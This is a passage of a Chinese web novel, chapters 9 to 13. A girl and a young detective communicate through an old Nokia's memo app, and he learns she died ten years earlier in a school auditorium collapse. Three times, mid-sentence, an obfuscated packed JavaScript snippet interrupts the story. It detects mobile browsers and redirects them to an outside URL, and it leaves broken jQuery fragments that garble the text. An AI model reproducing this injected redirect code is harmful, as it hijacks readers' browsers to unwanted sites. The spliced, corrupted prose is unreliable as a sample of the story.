没人能体会到林语禾此刻的感受,只有她自己,现在在她眼里天是蓝的,树是绿的,花是红的,就连一闪而过的小强……算了,小强还是一点也不可爱。 林语禾眉开眼笑地敲了敲门,里面应了一声,很快,穿着围裙拿着锅铲的中年男人打开了防盗门,和她四目相对。 “林叔叔。”林语禾礼貌地叫了一声,随即扭头看向身后的母亲,“我回房间去啦。” 常美琴点点头,看着女儿一溜烟钻进了她的小卧室里掩上门,却没有像之前一样,传来锁芯锁上的声音,她回过神来,林勇正一脸茫然地站在门口:“……小、小禾刚刚叫我啥来的?叔叔?” “嗯,你还没老到听不见。”常美琴慢条斯理地换好鞋进客厅,反手关上大门,又提着包回房间,林语禾在医院呆了多久她就呆了多久,这会儿回到家浑身的力气都泄了个干净,只想躺在床上好好休息,“等会吃饭再叫我,我躺会。” “小禾居然叫我了?我没听错吧,小禾竟然愿意叫我了?” 偌大的客厅中只留下林勇一个人呆呆地站着,没人回答他,还是锅里劈啪的油溅声把他拉了回来。 “哎哟,我的醋溜白菜!” …… 林语禾回到房间的第一件事,就是把自己的诺基亚手机找了出来。 强悍的诺基亚,待机了整整24小时,还顽强地保留着两格电,她按开屏幕,没有短信,也没有未接来电,这再正常不过,知道她电话号码的就只有她妈和舒老师。 林语禾径直打开了备忘录界面,在一大堆作业记录中找到了那个神秘又未知的“备忘录聊天框”。 里面最后一条信息还停留在她发出去的那句求助,对方没有再回复任何内容,就好像这一切只是林语禾的错觉,可当她将备忘录向上翻,两人当时的对话又清晰地展现在她面前,提醒她那些都是真实存在的。 真不可思议。 她趴在床上,尽量避开还在疼的伤口,将下巴枕在柔软的枕头上,噼里啪啦地打字。 【我活下来了】 【谢谢你】 林语禾看着这两句话思索了一会儿,慢慢地又在后面添上了一句。 【你到底是谁?】 10. 第 10 章 屋子里有些黑,舒任没开灯,借着老旧窗户照进来的阳光低头翻找东西。 没有、没有、还是没有。 大概是上班第一天忘了看黄历,刚骑上电动车还没走出去几百米,就给一分不清油门刹车的纯新手给追了尾,别的没伤,手机却从兜里掉下来,当场就开不了机了。 手机拿去店里修,据修手机的师傅估计还得两三天,舒任思来想去,干脆请了个假要晚点再去单位,先回来翻备用机。 舒任记得自己前几年淘汰下来一个旧手机,这会儿临到要用,在书桌和柜子里翻了个底朝天,都没能发现它的踪迹,他甚至怀疑起自己的记忆,这手机恐怕早就卖了二手。 但假都请了,就这么算了似乎又显得瞎折腾,舒任吐了口气,死马当作活马医地把柜子最深处的小铁盒给拖了出来。 这儿要是还找不到,他只能硬着头皮和单位申请一口气值班到手机修好了,不然中途出任务联系不到他人,那可是要吃处分的。 盒子表面蒙上了厚厚的一层灰,舒任轻轻吹了口气,扬起的粉尘差点没让他把肺咳出来,他捂住口鼻,好一会儿才挪开手,看清楚了上面的名字:舒国泰。 是他爸的名字,这倒也不奇怪,父子俩住一起那么多年,他爸除了心爱的渔具和战利品,其他都是往他这个儿子的屋里堆,简直把他当成了杂物间。 舒任指尖用了点力,轻轻从边沿把铁盒掰开,里面堆满了泛黄的资料册和纸,抬头都写着“宣城六中”四个字,是他爸以前当老师的学校。 随着时间推移,那些纸张都变得薄而脆,却没有碎裂,因为上面压着一只小巧的手机,将它们牢牢地镇在了下面。 那手机外型看上去像是十几年前流行过的直板手机,通体漆黑,屏幕只有手指头那么大一块,边框厚得没眼看,下面甚至还保留着九宫格拼音键盘的实体按键。 舒任把手机拿起来掂了掂,轻得像只鸡蛋,随手按下电源键,漆黑的屏幕上,自己惊讶的表情一闪而过,随着诺基亚的开机动画迟缓地播放完毕,朴实无华的塞班手机桌面露了出来。 ……这手机竟然点亮了。 舒任下意识在屏幕上划了一下,它却一动不动,他这才反应过来这不是现在的智能机,要用键盘上的上下左右控制。 舒任第一反应是,这是他爸不要的手机,可下一秒他就打消了这个念头。 他爸当了许多年老师,也没什么复杂的社交,总是说用不着那么高级的玩意儿,用上的第一部手机还是自己上大学之后给买的,一上手接触的就是现在通用的触屏智能机,那字体都大得快戳眼珠子了,哪有那个视力和精力,买这么一部老掉牙的手机来折腾? 而且,这手机看上去也不像是他爸的使用风格。 联系人、聊天记录乃至短信记录都干干净净,啥也没有,舒任险些要怀疑它经历过出厂格式化,可打开备忘录,里面竟然有几条内容简单的记录。 【9.17月考】 【《一课一练》21页除最后一道大题,《课时优化》24/25,《鱼我所欲也》】 …… 总而言之,不是作业,就是考试时间,显然是学生的手笔,仿佛透过文字,都能被那青春气息给扑一脸。 舒任脑海里产生了一个荒谬的想法,该不会是他爸收的学生手机吧? 只可惜这个问题没有答案,老舒人在医院复查,要晚上才会回家,舒任有心从下面压着的文件中找出谜底,但多年过去,上面的字迹早就模糊难辨,他干脆把这个问题抛开,转而端详起这个手机本身。 尽管和现在的手机比起来,就像是上个世纪的古董,可它的功能却是完好的,他尝试往备忘录里新增了一条【值班结束前整理完二卷卷宗】,它竟然也没卡死。 作为一个备用机来使绰绰有余! 真是柳暗花明又一村,舒任万万没想到阴差阳错,还真给他找到一个能用的,他呼了口气,手机揣进了口袋,决定打个车去单位,以免备用机也在路上遇到飞来横祸,这可是他唯一能用的手机了。 - 舒任的单位位于沿江路7号,距离他爸工作过的宣城六中仅仅只有两条街,从家里出发上班,电动车用时不超过10分钟。 除开每周固定的24小时值班、随时有可能的出勤任务,以及绝大部分情况下都没办法保持规律的进餐时间……等等,这算是一份不错的工作。 毕竟对他这个警校生来说,毕业进入体系内,当上一名光荣的刑侦警察,这是小学时候作文里恨不得洋洋洒洒写八百字的伟大梦想。 只不过现实不是艺术作品,它不会让舒任像电视剧里一样凭借超高智力独自破案化身救世主阿sir。 每一桩案子要破都是无数人在背后花费心血与劳动,才能换来那么一张蓝底白字的案情通告,舒任这只初来乍到的小虾米,如今的工作就是成为那无数人中的一个。 原本第一个环节应该是入职欢迎会,然而舒任撞上了意外,早会又不可能只等着他一个人,于是带他的师傅大手一挥,干脆就把他叫过来直接出外勤。 走访调查,维护治安……一切统称外勤的工作,都是舒任的工作重点,宣城三十八度的炎热天气,短袖警服的背后干了又湿,湿了又干,等下午三点终于有空坐下来吃饭时,舒任第一反应竟然是不饿。 “怎么不吃?没胃口?”师傅用筷子敲了敲他面前的碗,舒任回过神来,端起面前的炒饭呼噜几口,“有点热。” 他吃得不慢,但师傅的速度远比他还快,三两下风卷残云把炒饭吃得干干净净,站起身来:“以后你就知道了,这种都是家常便饭,跟学校里没法比……你慢慢吃,我在外面抽根烟。” 舒任应了一声,说是“慢慢吃”,但下午还要赶去另一条街道做走访,他闷头灌了两口水,一边往嘴巴里塞炒得干香的米饭,一边掏出了兜里的直板手机。 忙乎大半天,备用机电量还稳稳当当地显示着满四格,不愧是当年最耐用的诺基亚,舒任点开备忘录打算看一眼提醒自己别忘了,却发现里面除了那几条本就有的作业记录和考试提醒,空空如也。 难道是早上没保存上?舒任皱着眉头三两下重新开了个备忘录将内容输了进去,正扫墙上的支付宝打算结账,却尴尬地发现备用机似乎没这个功能。 里面的老板娘恰到好处地探出头来:“刚刚结过了。” “哦……”舒任讪讪地将手机放了回去,有些局促地将筷子摆好,这才摸了摸鼻子往外走。 三点,距离中午十二点已经过去三小时,剩下三小时的工作量总算是要轻松了一点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13356845|140782||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,大多数时候舒任都是跟在师傅后边儿“见学”——通俗点说,打下手,学他师傅是怎么和案件相关人员沟通,又是怎么从那些充满了情绪化的语言文字中提取出有用的信息。 这工作看上去繁杂,实际上也并不简单,舒任和师傅站在入户门口,听着里面传来滔滔不绝的骂声,这家的儿子卷进了电信诈骗,警察上门走访调查时,当事人他妈和他奶奶就在家里干起了仗。 一个骂对方无底线溺爱孩子,才会把孩子送进去吃牢饭,另一个就指责当妈的没良心,自己不疼儿子还反打一耙,骂着骂着差点动用起了武力,舒任连忙上前拦架,混乱中手臂上还挂了彩。 什么心理学,什么微表情学,这种时候统统靠不住,书本上学过的内容根本找不出万能解法,最后还是师傅出面安抚住了两边情绪,带着舒任全身而退。 回到局里以后,舒任刚坐上分配给自己的那张办公桌,就恨不得瘫倒下去,但他的工作还远没有结束,今晚九点之前,他得把二卷卷宗给整理出来。 “和学校不一样,是不是?”师傅第二次提起这个话题,局里不能抽烟,中年男人叼了根棒棒糖,看上去有点不伦不类,“想退缩了不?” 舒任愣了愣,摇摇头:“没有。” “真没有?”师傅有些不敢置信,“用不着打哈哈,体系里头盼着出去的人又不少,跑现场累,办案累,值班累起来也受不了,想走很正常,你这样的学历,去机关那些地方,日子也不难过。” “没有……我是真的挺喜欢这行。”舒任抿了抿嘴,有些不好意思,“从小我就特向往这个。” “哦,《重案六组》?《刑警本色》?” “都有,《征服》也看。” “……还挺复古。”师傅瞅了他一会儿,忽然站起身让他在办公室里等会,没多久抱来一大摞蓝色的文件夹,“喏,没事儿的时候打发时间看看吧。” 同样的蓝色文件夹,舒任桌上就摆着一份,是他还没整理出来的卷宗,这一堆毫无疑问也是,随便翻开其中一本,里面都写着对应的案件名称以及卷宗编号。 “剩下的你感兴趣可以自己去查阅,新人么,很多人觉得能把打杂的活儿做清楚就不错了,但我不怎么同意,没人上来就能办案的,还不都靠积累。”师傅叼着棒棒糖,指尖叩打着桌面,“机会不到你手上,就抓紧时间学,没时间就挤时间学,这些卷宗你要能琢磨透,研究清楚,已经比很多人强了。” 舒任慎重地点了点头:“好。” 师傅拍了拍他肩膀,留下句加油,含着棒棒糖从办公室门口拐出去没了影儿,舒任深吸口气,看向桌面上摆得满满当当的资料。 24小时值班,有这些东西陪着也不困了。 舒任看一眼墙上时钟,晚上7:30,距离九点还有一个半小时,再掏出手机看一眼备忘录。 好么,备忘录又不见了。 他现在有点怀疑这个年龄不小于10岁的复古老手机到底能不能正常使用,按键上下左右倒还称得上丝滑,难道是金玉其外败絮其中,里面的功能全都没了? 舒任又一次新建备忘录,五分钟以后,他发现这一篇又不见了,再新建,再消失,再新建……来回折腾了十来次以后,备忘录上忽然多出了一句话。 【你是谁】 11. 第 11 章 舒任反复回忆,并不觉得眼前这行字是自己刚刚无意中打出来的。 是木马,还是新型病毒? 这个念头只在舒任脑子里转了一下,就被他迅速打消。 手里这只5220XM是十年前的老型号,他不觉得过去那么多年,还有人会专门研制出针对古早塞班手机系统的病毒和木马。 那不是闲得慌么。 至于当初和它一样“资历”古老的蠕虫病毒,无非就是卡比尔、骷髅和莫西木马之类的,要么是在桌面上放个骷髅头吓人,要么是用迅速扩张感染其他手机,或者是捆绑浏览器主页。 他还真没听说过哪个病毒会特意入侵手机的备忘录,就为了在里面打几个字。 否决此项,也就意味着这反常的现象背后另有玄机。 舒任指尖在桌面微微点了两下,并非刻意模仿,却和师傅的动作如出一辙,片刻后,他得出了猜测的结论。 ——电诈。 除了电诈,舒任很难想象在这个996已经是常态的世界上,会有人愿意花费大量时间只为了和一个陌生人套近乎。 电诈,无非就是图钱,或者是图更多的钱。 除开工作时间,舒任还是第一次接触到疑似涉及电诈的人物,说“疑似”是为了严谨,毕竟他现在对于对方的身份还没有清晰的研判,更多是基于常识的推理,不排除有错误的可能。 但根据奥卡姆剃刀理论,当他想不出其他可能,或许下意识的答案就是正确答案。 备忘录上的光标还在一跳一跳地闪,但在此刻舒任眼中,它背后藏着另一双眼睛,在他打字的间隙里,对方就透过这小小的方寸天地,窥探着他的每一个动作,他思索片刻,在下方敲上几个字。 【你又是谁】 【这是我的手机!】 舒任眼睛眯了眯,饶有兴致地坐直了身体,僵硬的关节发出咔咔的闷响,他毫不在意,目光紧紧地锁在了短短的回复文字上。 这句话给人的第一印象,对方似乎年纪不大,当然也不排除是成年人——很久没接触过社会或者是在封闭的社交环境里长期浸润的那种类型。 为了确定这一点,舒任不动声色地继续往上面添加留言。 审讯……不,问询也是有技巧的,任何人面对陌生人的第一反应都会是防备,而他要做的仅仅是采取一些简单的小技巧,在不踩到对方警戒线的同时,获取到自己想要的信息。 很快,他得到了答案。 “宣城六中,林语禾……”闪着蓝光的屏幕上映出舒任疑惑不定的目光,他确认自己身边没有任何人叫这个名字,但乍然听见,却又有一种熟悉感,就好像他曾经在哪里听过。 难道是他爸? 毕竟老舒以前就是六中的老师,要不是出了那档子事,他估计根本不会从一线上退下来,舒任想着,却没有给家里打电话,而是将视线放在了电脑上。 算了,宣城六中那么多人,他爸估计也不知道这人是谁,还不如问某度来得快,舒任按了一下鼠标,笔记本嗡嗡地响了起来,windows系统自带的浏览器迟缓但正常地运行起来,键入“林语禾”三个字之后,很快引擎首页给出了搜索结果。 舒任倏然睁大了双眼。 手机放在一边,备忘录里的光标正在不断移动,又回退,似乎是屏幕另一头的那个人在犹豫地输入又删除,舒任深深吸了口气,忽然觉得自己有点可笑。 卷宗不看,笔记不做,竟然花时间在这么幼稚的事情上。 舒任抿唇看向电脑屏幕,上面正显示着无数条结果,都是十年前的老新闻。 【本报讯9月17日上午,宣城六中礼堂突然发生坍塌,导致多人受伤,数十人死亡,事故调查正在进行中】 【据《宣城晚报》,9月17日宣城六中发生建筑坍塌事故,多人当场死亡】 【突发:宣城六中意外事故,数名学生死亡,警方呼吁不传谣不造谣,等待调查结果】 【悼念宣城六中9·17礼堂坍塌事故中遇难的孩子们,他们的青春永远定格在了这一天】 …… 画面中,因为年代久远而模糊不清的图片下方,“林语禾”三个字赫然在列,坍塌事故的受害者之一,早在十年前,宣城六中这个叫做林语禾的人就已经不在人世。 这个世界上没有鬼神,也没有超自然现象,唯一的解释是,对方是个彻头彻尾的骗子,不知道哪根筋抽了,竟然编造出一个死者的身份来欺骗他。 只是这骗子恐怕没想到,他就是宣城人,而且对六中很熟,对这场事故更不陌生,舒任看着“高一(4)班”有些出神,4班,就是曾经老舒带的那个班。 舒任也不想惯着对方,干脆将当年的新闻编辑进备忘录里,随后将“啪”一下,将手机的光亮熄灭,不再关注对方会回复什么……一个骗子,能回复什么都不重要。 只不过那骗子现在表情估计很精彩,舒任冷冰冰地想着,不过和他无关,他现在最重要的任务是要赶紧把卷宗整理好。 已经九点半了,他提前做的规划,又成了令人尴尬的flag! - 人一旦投入专注状态中,时间就会过得飞快,哪怕工作也是如此。 等舒任忙完所有的事情抬起头来,活动自己僵硬的脖子和肩膀时,外面天色已经隐隐亮了起来,师傅不知道什么时候溜了出去,提着豆浆油条进来叫他一起吃,叮嘱他开过早会以后就可以下班回家。 不用师傅说,舒任也已经扛不住了,长达24小时的高强度工作,他现在感觉自己走路都像是飘在云端,电瓶车都不敢骑,叫了个出租车,几乎是到家回到卧室倒下去就睡着了。 睡了醒,醒了又睡,舒任都不记得中途自己有没有起来吃过饭,又吃过了几顿,就连做梦也是光怪陆离,直到他意识彻底清醒时,天色已经大亮了。 舒任听着窗外麻雀叽叽喳喳的叫声,第一反应竟然是疑惑今天到底几号,老舒进来的时候,舒任还呆滞地问了一句“今天礼拜几”,险些被他爸的白眼翻死。 “18号!周六!”当爹的数落起自己儿子是一点不手软,“你别年纪轻轻的就老年痴呆了,到时候我还得来伺候你呢。” 舒任:“……” 他摸了摸鼻子,周六,是周六就行,不是在梦里去值了个班结果现实里第一天就把工作给弄丢了,什么都好,他转而问起了另一件事:“有什么事吗?” “哦,唐明给你打电话打不通,给家里座机打的。”老舒说,“说你那手机修好了记得去拿……你现在用的啥手机?” “诺基亚,你留下来的那个铁盒子里翻到的。” “啥铁盒子?” “你从六中退休那会儿,放我屋里的那个。” 老舒愣了愣,半晌才“哦”了一声,也不问他是怎么用上的,像是不愿意再深入这个话题,转身慢慢出去了:“出来把中午饭吃了。” 舒任看着他爸的背影,老舒老了,拖在地上的脚步沉重而迟缓,拄着的拐杖在地上发出沉闷的“笃笃”声,底部包着严严实实的一层橡胶圈儿,是老舒害怕别人嫌弃他走路太吵,从网上买回来的。 拐杖边,短裤的裤管下空空荡荡。 …… 舒家的午饭很简单,当年老舒刚截肢那会儿是舒任负责下厨,后来他考到外地去读大学,就给他爸订了楼下的炒菜馆子,菜单拿回家里,他爸每顿饭想吃什么就自己打电话点好,小饭馆的老板负责送上来。 再后来他回了宣城,老舒还是在楼下点菜吃,只不过从电话换成了短信,又换成了微信,舒任也觉得这样挺好,现在他自己都习惯了吃外卖,要他给他爸做饭,估计那厨艺得把他爸当场送进医院洗胃不可。 还好这家小饭馆这么多年一直没垮。 “这老板宝刀不老啊,还这么好吃。”舒任夹了一筷子鱼香肉丝,“用红糖先腌肉丝再用泡椒炒,我吃过就他们家会这么做。” 老舒翻了个白眼:“这是人家女婿炒的。” “啊?” “老板早几年就不做了,他女儿嫌弃厨房里累,干脆就把手艺传给他女婿了。”老舒说道,“现在小两口管着店,他女儿就负责收银,送饭也是她来。” “那我还真没想到,这不怕他女婿偷了手艺另外开家店打对台?” “上门女婿,要有这么多心眼,他老丈人第一个不放过他。”老舒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13356846|140782||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 振振有词,说得像是他亲眼见到老板训女婿那一幕似的,“反正他女婿就是有点瓜,老实还是老实的。” 不当老师,又上了年纪之后,老舒的普通话就越来越带方言味儿了,舒任不置可否地“哦”了一声,又去夹旁边的糖醋排骨,这两道都是他最喜欢的菜:“不耽误你吃饭就行。” “就是不做了也不耽误,你爸还没那么废物。”老舒瞪他一眼,“我去医院复查,人家医生都说我身体好得很,那些腿还在的都没我身体好,我现在一口气照样能爬八楼,不,爬十楼!” “知道你身体好。”舒任往他爸碗里塞了块冬瓜,“吃饭,别光顾着吹牛。” “哦……” 老舒乖乖地把冬瓜吞了,舒任看着他爸,忽然开口问道:“你还记得以前六中那些学生的名字吗?” “怎么嘛?” “你记不记得有个人的名字叫……林语禾?” “啪嗒”,老舒的筷子掉到了地上,舒任默不作声把它捡起来拿进厨房洗了,再出来的时候,老舒的眼神有些逃避:“你从哪儿听到这个名字的?” “……无意中看到了。”舒任鬼使神差地撒了个谎,“才知道她就是你的学生。” 老舒眉头跳了一下,沉默了下去,目光直直地盯着自己空空如也的腿。 “嗯,十年前那场事故,她就不在了,好多学生都不在了。” 老舒怔怔地呢喃。 “原来已经十年了啊。” …… “所以,你是哪壶不开提哪壶。”唐明懒洋洋地瘫在店里的沙发上,不知道的还以为他是打算就地睡觉,“十年前的事儿你提它干嘛。” “……我就是突然想到了。” 舒任也有些后悔不该在他爸面前提起以前的旧事,说到底,还是因为那个自称“林语禾”的骗子,他抿了口奶茶:“怎么那么甜。” “又不是冰美式,当然甜啊。”唐明吐槽,“苦的谁喝,你吗?” “我喝啊。” 唐明翻了个白眼,这次是被舒任噎的,他喝了一口奶芙咖啡,十分糖加上奶芙的甜味,顿时让人心情美好:“上班感觉咋样?” “累。” “比我这个研究生牛马还累?” 舒任没好气:“你一个做理论物理学的算哪门子牛马?” “也有啊,帮导师拿快递,寄快递,打饭……”唐明如数家珍,“哦,还有暑假帮忙看小孩。” 他大吐苦水:“我连漫展都没去成,漫展!就在宣城,我家门口,我没去成!你知道什么感觉吗?我现在就跟薛定谔关在箱子里的那只猫一样,我——”唐明一头栽倒在沙发里,“活着真没劲儿。” 舒任冷漠无情地推开他的大头:“别在这儿发癫,别人都在看你。” 唐明一激灵,回过神来,果然感觉到附近有若有若无的视线,正在向这边投来。 “咳咳咳——”唐明咳嗽两声,像是被人从背后弹了一下似的坐直了身体,目光严肃,表情正经,“我们是在谈论科学!科学……薛定谔,薛定谔你认不认识?我跟你说薛定谔的猫这个理论就是说有只猫它……” 一提起二次元就得意忘形,偏偏一旦意识到这是现实世界就会社恐发作,开始用物理学那些神神叨叨的理论掩饰自己的社死,这就是舒任从小到大的发小死党唐明。 舒任司空见惯地无视掉唐明的碎碎念,掏出手机。 修手机那家店的老板和唐明认识,给他“走了后门”,没到预计的时间就把手机修完还回来了,SIM卡重新插回去,运营商提示短信亮起,网络信号正常。 “十年前的老诺基亚,老古董了我靠!”唐明跟只狍子似的凑了过来,“别用了呗,打电话都打不通,就一直提醒我对方不在服务区。” 的确是没必要再用了,就像唐明说的,这只手机连起码的通讯都做不到,备忘录里还藏了个来历未知的骗子,丝毫没有留下来的价值。 舒任想着,手指却鬼使神差地点亮了屏幕,点进了桌面的备忘录。 界面上不知何时多出了三条新的信息。 【我活下来了】 【谢谢你】 【你到底是谁?】 12. 第 12 章 “看啥呢看啥呢,这么专注?” “没什么,诈骗短信。”舒任把手机屏幕熄灭,推开某个再次凑过来探头探脑的狍子脑袋,面无表情地将老旧的诺基亚塞回了衣服兜里。 “诈骗短信?”唐明歪了歪脑袋,“不是吧,连你们这些警察都逃不过缅北的关怀?这些骗子未免胆子也太大了。” 舒任没说话,唐明“哎”了一声,自顾自地拉着他分享起自己的经验来:“你知道那个茶园卖茶的套路不?就是一开始加你发个美女自拍,没多久就说她爷爷为了茶园这不好那不好的,她从大城市辞职回家继承家业让你关照一下生意。” “我好友里现在还躺了俩呢,没事儿就上去逗两句,跟养了只电子宠物似的怪有意思的……哎但你别说,人家这一套还真有上当受骗的,就我们院里有个人被骗了好几千块钱呢,对方男的女的都不知道,缠着他哭了三个月的穷,他一个心软,钱就没了。”唐明感慨,“果然有耐心的人是真能办大事儿,你说除了骗子,谁能为了这事儿潜伏整整三个月啊?” “是啊,现在的骗子都挺执着的。” 舒任附和道,刚刚在备忘录里看到的新留言在脑海中一闪而过。 这都过去足足两天了,对方竟然还有心情继续玩这种老套的扮演游戏……或许还是他一开始的警告太委婉了,舒任想着,发什么新闻,就该直截了当地把对方损一顿,然后拉黑。 骗子的嘴比什么都不靠谱。 “那你那个同学现在怎么样?被骗的钱追回来了么?” “追回来了。”唐明耸了耸肩,“然后最近这家伙听说网上谁谁谁有门路可以无忧保送C刊,又给骗子把钱送出去了。” “……” “搞物理学谁为了C刊上当啊,再不济也得是什么Naturmunication,什么ScientificData这种级别的吧,就是版面费贵一点而已,直接搞定毕业要求,水我也上,水我也认了!” “多少钱?” “几千……美金。” 舒任有些同情地看着他支付宝余额加起来还没年龄大的发小:“你还能顺利毕业吗?” “……”唐明摸了摸逐渐后移的发际线,“应该……可以吧。” …… 两人晚上又一起去宣城六中旁边吃一家开了多年的面馆,一碗鳝鱼面,一碗姜鸭面,都是宣城这边的特色,偏偏那么多学校,就只有六中门口这家味道最正,两人不是这儿的学生,以前也常常跑到这儿来吃。 不过,如今的宣城六中早已经换了名字,叫什么翔飞中学,从公办变成了民办。 “你说六中啊,六中现在搬到新区那边去了。”围着围裙的中年妇人,也就是这家店的老板说道,“旧城区改造么,那校区早就不能用了,正好政府拨了款给了地皮,就搬走去那边了呗。” 她把面放在两人面前,难得有人问起就忍不住多说些,语气里有几分埋怨:“早要是知道六中弄成这样,我这门面就不买在这儿了。” “就是,去咱们四中门口摆,咱们一样捧场!”唐明接道,“就大姐你这手艺,放谁家门口都是爆火的!” 他油嘴滑舌吹捧了一通,老板原本还不太好看的脸色顿时多云转晴,又张罗着去后厨给他和舒任一人碗里多了一勺料:“这臊子多了才好吃。” 臊子是宣城方言,指的就是面条上面铺那层浇头。 等老板去招呼其他客人,唐明这才收了脸上笑意:“你今儿干嘛呢,一整天神思恍惚的,这家店又不是第一次来,之前不就说换成了这新的学校,你还关心起来了,你又不是六中的。” 他低下头嗦了口面,鲜香麻辣,一瞬间的劲儿给他脑门上都逼出了热汗:“是因为你爸的事儿?” 舒任含糊地应了一声,目光从马路对面的“翔飞中学”四个字上收了回来,过去了十年,宣城六中的印记已经淡得几乎找不着了,楼宇是新的,操场是新的,就连大门开的方向也稍作了变动。 门口多了两棵桔子树,听说还是这个学校的校长特意去申请的,对外说法是求个吉祥如意的好寓意。 但宣城本地人都说,是因为当年那场悲剧,连地都是本地人不敢拿,这外地学校低价捡漏来的,心里虚,求平安呢。 毕竟几十条活生生的性命,幸存下来的学生极少,其中大部分还都留下了不同程度的伤,无论是身体,还是精神,很多学生的父母选择了将孩子转学或者带去了其他城市生活,远离这个噩梦之地。 “你爸也是无妄之灾。”唐明辣得高声叫老板拿瓶冰可乐来,店里用的还是最老式的玻璃瓶子,开瓶器都不用,往桌上一磕就把盖子掀了起来,咕噜咕噜灌下去一大口,爽快得眯了眯眼,这才继续说道,“学生也去救了,没救回来也不是他的错,就连他自己都快搭进去了,还要人怎么样?” “偏偏那些提前跑路的没人骂,出了力的还成了坏人了,搞什么内退,还美其名曰可以调岗去保卫处——拿脚指头知道这是在羞辱人,哪有几十年的老教师给人下放去当保安的?” “你刚还让我别哪壶不开提哪壶呢。”舒任觑他一眼,“现在你情绪比我还激动。” “这不是走到六中门口来了么,话赶话知道不?”唐明隔着厚厚的玻璃戳了戳窗外的那扇大门,“活该六中从宣城第一变成垫底,但凡有点良心的老师都跑光了,现在跟个混混学校差不多……我要是有小孩我也不让他念这种学校。” 舒老师多好一个人,除了头发秃点,平时念叨点,对学生那是样样好,唐明记得自己和舒任刚成为好兄弟那会来舒老师家玩,回去就跟自己爹妈耍赖了一晚上,硬是要他爸给他想办法转去六中,当舒老师的学生。 当然结局是被他爸一顿好打,从此唐明就明白了一个道理,不要在四中的老师面前说六中老师的好话,尤其当他们俩都是数学老师的时候,是会挨打的。 但就他爸这么个人,在听说舒老师的遭遇后,也义愤填膺地在家骂了六中领导好几天,都是同一个教育系统里的人,都是兢兢业业当了几十年的老师,怎么能料想到一次意外,余生就遭遇了如此巨大的改变? “要是当年不是以这么种方式爆雷就好了。”唐明的语气慢慢落了下来,“六中那群领导都不是好东西,可是那么多人命呢。” “发生的事情谁也改变不了。”舒任说道,“所以你不想留在宣城也挺好的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13356847|140782||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,去金陵念书,大城市么,没这边憋得慌。” “那你还——算了,你爸还在这儿呢。”唐明戳了戳碗里的面条,气闷地又灌了两口可乐,“不说这些了,难得放暑假,必须吃个爽!” “你暑假都放了快半年了,这都九月下旬了还不去,不会是压根没收到录取通知书吧?” “胡说八道,我可是吊车尾进的学校复试,吊车尾上的最终名单,官网还挂着我名儿呢!”唐明翻了个白眼,“研究生没那么紧,我导让下周去实验室报道。” “那提前预祝你毕业。” “……不要给我立flag啊你!” 过去那么多年,唯独没有退步的就是这家面馆的手艺,面条劲道,料汁饱满,明明是千篇一律的红汤底,但就是能做出不一样的滋味来。 唐明喝可乐喝多了人也能醉,从四中六中一路谈到金陵大学,好像积攒了许多年的话题都要在今晚上说完。 唐家早从宣城搬了家,唐明他爸前两年退了休,退休金也不低,带着他妈天天在外面游山玩水,他本科就考去了金陵,现在考研通过,又要留在金陵三年读硕士。 舒任却不同,最远就是高考志愿填了去省城的第一志愿,警校毕业以后就回了宣城不打算离开。 老舒前几年也退了,却不是教师的身份,而是一个普通的看门老大爷,如今年纪慢慢大起来,缺了条腿的后遗症也越来越严重,天气阴凉一些就会风湿发作,一点也离不了人。 从前的挚友,只因为一次意外,人生就完全滑向了两个迥然不同的方向。 舒任把唐明送上出租车,给师傅指好地址把这家伙送回落脚的酒店,宣城是个小城,地方不大,慢慢悠悠地也就十来分钟,就从面馆走回了家。 灯还灭着,老头子今天应该是又去医院复查做针灸理疗去了,舒任看着外面染红了半边天空的晚霞,决定暂时先不给他爸打电话,免得老舒又敏感地觉得自己把他当成了啥也做不了的小孩,在电话里吹胡子瞪眼。 宣城啊……舒任站在黑漆漆的客厅发了一会儿呆,还是回到房间,在书桌上将笔记本电脑拿了出来。 太多的事情他不愿去想,他妈不在了以后,家里所有的压力都是老舒一个人在承担,不然他也不能安稳地读到大学毕业,现在轮到他来照顾老舒了,舒任觉得这算不上什么牺牲。 至少比起老舒经历的那些,算不上。 没料到的是,电脑还没按开机键,刚打开屏幕就亮了起来。 看来是值班太累,压根忘了电脑还没关。 舒任输入密码,画面从锁屏界面上一闪而过,某条新闻紧接着出现在他面前。 【2010年9月17日上午10时许,我市六中礼堂发生坍塌事故,高一年级数名同学不幸罹难,对此噩耗,我们深感意外与痛心!】 …… 【遇难学生名单 高一(1)班 …… 高一(4)班 莫雨娜 许归苑 刘星然 …… 林语禾 …… 陈娇娇 黄露 ……】 13. 第 13 章 林语禾。 